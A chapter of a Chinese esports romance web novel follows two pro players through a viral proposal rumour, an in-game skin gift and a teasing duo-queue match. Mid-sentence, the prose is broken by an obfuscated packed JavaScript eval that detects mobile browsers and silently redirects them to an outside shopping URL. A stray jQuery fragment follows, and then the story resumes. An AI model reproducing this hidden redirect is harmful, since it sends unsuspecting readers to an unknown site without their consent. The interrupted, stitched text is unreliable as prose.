29
周叙临也学她往前凑，让她能透过微光看见他的眼睛。
两人的距离逐渐拉近、再近……
而后，他吐出四个字：“不告诉你。”
程知簌：……
*
也不知周叙临的果冻有什么魔咒，第二日，程知簌与他的配合明显好了不少。
“三秒闪。”程知簌点自己的召唤师技能。
周叙临发【收到】
他在心里倒数，往前卖了一波不明显的破绽，勾引敌方上前。
距离正好，他的艾琳拉弓搭箭，二技能轻轻一扭躲开对面的技能。
与此同时，程知簌上前闪开控制留人，配合盾山艾琳将伤害灌满，顺利拿到射辅双杀。
“凛冬nice啊！”
“这波勾引绝了。”
在对抗路被打得抱头鼠窜的上野二人隔着河道也不忘祝贺。
“你们这配合可以啊，就得这样，别怕觉得队友接不上什么的，直接冲就完事。”达万赞许地点头，“看来是我昨天白担心了。”
程知簌看着自己4-0-3的战绩，骄傲地笑了笑。
果断，向来是她作为凛冬选手的代名词。
也许曾经的她骤然来到全新的赛场会感到不适应，对自己产生质疑。
可历经整个挑杯的风雨夺冠后，她才意识到，作为一名职业选手，真正的敌人只有自己。
……
集训的一周时间内，似乎只有那一天的晚上有一小插曲。
时间排得太满，让她几乎没有时间去想其他的事情。
好在功夫不负有心人，一轮集训结束，程知簌的成绩在中单位排名第一。
两日后便是夏季赛常规赛第一轮，West所在组别的战队都是一个冠军起碰，堪称神仙打架，自然受到不少网友关注。
程知簌对此信心十足，只是EGG看起来忧心忡忡，火速帮他们买票让她与逢春二人连夜回广州。
在他们与世界断联的这三个多小时里，一则#降临，求婚#的热搜悄然登顶。
喻霓将手机递过来的时候，程知簌正在埋头吃煲仔饭。
她有些晕机，也没敢在上面吃晚餐，腹中空空几小时后才就近在机场吃了个饭，还不忘对三位数的价格碎碎念一番。
“热评第一【不愧是降头哥，他给粉丝下，女朋友给他下。】”喻霓将这个评论念出来，语气那叫一个跌宕起伏。
“周叙临什么时候有的女朋友，我怎么不知道？”程知簌的注意力却不在这里。
她简单擦了擦嘴，拿过喻霓的手机。
逢春因为有事自己提前打车回去了，桌上只有她们两人。
最初发微博的那位无名小号早就删帖跑路了，但这不妨碍“手眼通天”的吃瓜群众有着截图录屏的先见之明。
灯光昏暗的酒吧，男人单膝下跪，手轻抚前面人的脸。
不知道是巧合还是什么，光线五彩斑斓又高速旋转着，照片正好捕捉到切换成粉光时投射在男人脸上的时候。
那是一张无论是否曾长久地出现在网络上，都能让人一见难忘的脸。
单眼皮、尾部长、卧蚕明显。
这样一双在一万人中都找不到类似的眼睛，让网友瞬间锁定怀疑对象。
“周叙临？”几乎是看见侧脸的一瞬间，程知簌就认出来了。
而周叙临对面女生的面容被她的长发几乎遮盖住，只能看见微微翘起的鼻尖。
对此画面，网友众说纷纭。
毕竟在多数人的记忆里，男性单膝下跪只代表了一件事——
【怪不得没打春季赛，原来求婚去了】
程知簌看着这个评论，有些恍然，又有些怅然。
【这波是真爱降临了，为求婚背禁赛哦】
【可以问问具体啥意思吗】
【去年年初，降临赛前跑路出国，被联盟禁赛春季赛】
【为爱禁赛，kdl[呕]】
【跑男又出一员大将】
【叫你们天天喊降头哥，这下中邪了吧】
【那天晚上到底发生了什么谁也不知道……】
【现在知道了】
【所以那个女生究竟是谁!】
程知簌对吃瓜不算感兴趣，毕竟自己也曾多次是瓜主本人。
不过话又说回来，与周叙临有关，她还是挺想知道的。
——但能不能来个人告诉她，明明是周叙临这家伙惹的一身腥，为什么一群人私聊的会是她啊！！！
程知簌回到基地的时候已经很晚了——起码对大多数人来说。
洗澡、洗脸、洗头、刷牙，爬上床盖好温暖的被子，她才重新拿起手机。
【冰块：簌簌姐！那个人好像你啊！】
程知簌生怕被误会【？？你看错了！】
【冰块：欸？是我看错了嘛，但是背影真的和你好像】
程知簌愣了愣，调出那张图片。
女生被宽大的男式外套罩住，除了头发，看不出什么背影相似的地方。
【凛冬：你怎么会觉得是我？】
【冰块：可能是我的错觉吧，看见降临旁边有女生就以为是你】
【冰块：他和我说过呀，熟悉的女生只有你一个】
熟悉的女生吗？
程知簌将这句话在心里滚了一圈。
【凛冬：啊？没有吧】
【冰块：集训的时候看见你们说过好几次话】
程知簌搜刮脑海里的记忆，不认为她和周叙临的交流能用“好几次”三个字来形容。
【凛冬：都是正常局内交流啦】
【冰块：是吗？】
【冰块：那第一晚也是正常交流吗？】
最后一句话只发出几秒，就很快被撤回。
但这也足够让程知簌看见了。
完蛋了。
程知簌心下一惊，几乎崩溃般地闭上眼。
这种感觉就像是冬日去湖边散步，目及冰面一脸新奇。试探性碰碰，认为再坚固不过。谁料踏上去沾沾自喜才片刻，冰层受不住碎开，将人拽进深不见底的湖。
……
有些事，少年人也许更倾向于刨根究底，但成年人只会缄口不言。
撤回的消息就像心照不宣的暗语，不问，最好就不答。
程知簌强撑着将话题引回周叙临，打哈哈似地猜测传闻中的女生是何方神圣。
也不知是无心还是故意，官方突然在这个时候放出了周叙临的FMVP皮肤——临江碎雪。
时间太久，让程知簌几乎忘记了，当年她在年度总决赛的现场看着捧杯的周叙临是怎样的心情。
金色雨太密集，遮住了她的眼，模糊了她的视线。
可过了将近两年，她依旧将这一幕记得那么清楚。
十八岁的降临选手在奖杯上落下一个吻，目光缱绻。
谁都想不到，几个月后，那个吻也会落到程知簌的唇上。
她条件反射般地伸出手碰了碰嘴。
意识到自己在做什么，她脸上浮起一片红，慌乱地拿起枕头蒙住脸，企图将上面的温度降下去。
她怎么会对从小一起长大的人有这种邪念。
……
过了零点，程知簌点开游戏，想上号去训练营亲手体验一下皮肤的技能特效。
邮箱右上角出现了小红点，强迫症的她进去点掉，发现已经有人给她送了。
她又不玩射手，干嘛要送她？费钱。
送出去的皮肤不能退换。
秉承着不要白不要的态度，程知簌木着脸收下，才给游戏在线的赠礼者发去私信——
【就要冬司你：不用你送，我有钱】
对面很快回复——
【同临雪：送你就拿着，不用和我客气】
程知簌瞪大眼。
到底是谁在和你客！
她的每一个字拆开来都是拒绝的意思好吗？
她气呼呼地敲字【？想让我帮你带货直说】
圈内有一个约定俗成的规矩，获得FMVP皮肤的选手会在发售当日将皮肤和签名赠送给与自己关系不错的选手，选手都会发微博表示感谢，也是一种宣传方式了。
只是像周叙临这样直接在游戏里赠送的还是少数。
这么一想，程知簌突然意识到【给别人都是微信转账三百，到我这就中间商不赚差价了？】
皮肤发售首周都会有折扣，细算下来不到一百五就能连着签名一块拿下。
虽然送皮肤的钱都由选手本人出，但俱乐部或多或少也会帮忙报销一部分，不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625463|202522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怪程知簌会这么想。
另一头的周叙临敲来六个点【……】
【同临雪：想多了，只是觉得“一掷千金”这个称号配我，“无价之宝”配你】
他口中的称号指的是赛季名片标签，主页展示，赛季结算获取。
“一掷千金”是赛季给好友赠送大量礼物，“无价之宝”则是好友只给你一人送皮肤。
程知簌正想打字说她不在乎这些，就被周叙临拉到了组队里，还没反应过来他就秒开了，双排。
“单身多年的手速都用在这了吧。”她冷笑两声，“哦不对，人家早就不是单身了。”
在一番要名声还是信誉分的天人交战下，程知簌点了确定。
“干嘛啊……”她嘀咕一句。
周叙临开了麦，声音不似平常的清润，反而刻意压低了：“来把排位压压惊。”
“你在夹什么？”程知簌表示无语，“你和我共处一个房间就是最让我惊的事情。”
“我哪有！”周叙临颇有种气急败坏的样，“我们晚上收手机，我用备用机和你打。”
程知簌很怀疑他的冠军是怎么得的：“收手机，你还用职业号，生怕不被人发现？”
语音频道陷入一阵诡异的沉默。
“应该……不会有人知道……吧？”
程知簌冷笑：“谁知道呢，反正一楼肯定不知道。”
【学而时习吱[一楼]：五楼是降临？】
周叙临：……
他说：“你别搞我啊。”
“注意措辞。”程知簌发了个表情。
【学而时习吱[一楼]：是吧是吧】
【学而时习吱[一楼]：不管了，我抢了，等下跟我换】
一楼英雄锁定，赫然是孙尚香，周叙临在前年的年度总决赛上一战成名的英雄。
【学而时习吱[一楼]：我是小学生，主播可以送我临江碎雪吗？】
依旧是要皮肤的保留节目，只是地狱火变成了新皮肤。
程知簌有些忍俊不禁：“临吧啦，你很有名。”
周叙临……
一楼要求的英雄他没有熟练度，只能让程知簌帮选，他们交换后再和周叙临换。
“好麻烦。”程知簌打了个哈欠，“你帮我随便选个辅助吧。”
王者以上段位需要选择两条分路，她正好排到了次选的游走位。
周叙临点开辅助栏看了好一会，选了个朵莉亚。
这英雄的大招是为队友刷新CD最长的技能，与多数依靠平a的射手都不太配。
“易求无价宝，难得一心真。”周叙临缓声说。
这是朵莉亚山海经皮肤里的台词。
程知簌觉得奇怪：“啊？”
周叙临说：“你待会认真听听局内语音。”
“你说的无价之宝是这个？”
“我说的是临江碎雪的台词。”
程知簌还想继续问，游戏倒计时响起，她突然瞪大眼：“喂！你换回来啊！”
“——你是不是故意的？”进入游戏，程知簌操控着孙尚香站在泉水门口。
原本的安排是一楼和她换，她和周叙临换。
人家一楼麻溜地点了确定，到他这就掉链子了。
“网卡，没点到。”
“你觉得我会相信吗？”
“会。”周叙临语气笃定，还打字向队友解释一番。
程知簌一脸无语，但游戏已经开始，她也不可能现在跑到隔壁和周叙临换手机——在他也回广州的情况下。
她只能硬着头皮玩下去。
好在孙尚香操作不算复杂，是多数新手玩家的主要选择之一，玩起来也是如鱼得水。
孙尚香大小姐的一技能有增移速的效果，又加上她出门买了双鞋，出高地前原价卖出换了个攻速刀，走到线上的速度要比只买了宝石的周叙临快不少。
等朵莉亚蹦蹦跳跳来到身边，她做了个待机动作。
她随手从地上掬一捧碎雪，朝队友的方向扔去，雪球在空中散开，碎成冰晶，碎成星子。
大小姐飒气的声音响起：“世间珍品不值一提，风雪与共的伙伴才是无价之宝。”
“听见了吗？”周叙临问。
“什、什么？”
“我的……无价之宝。”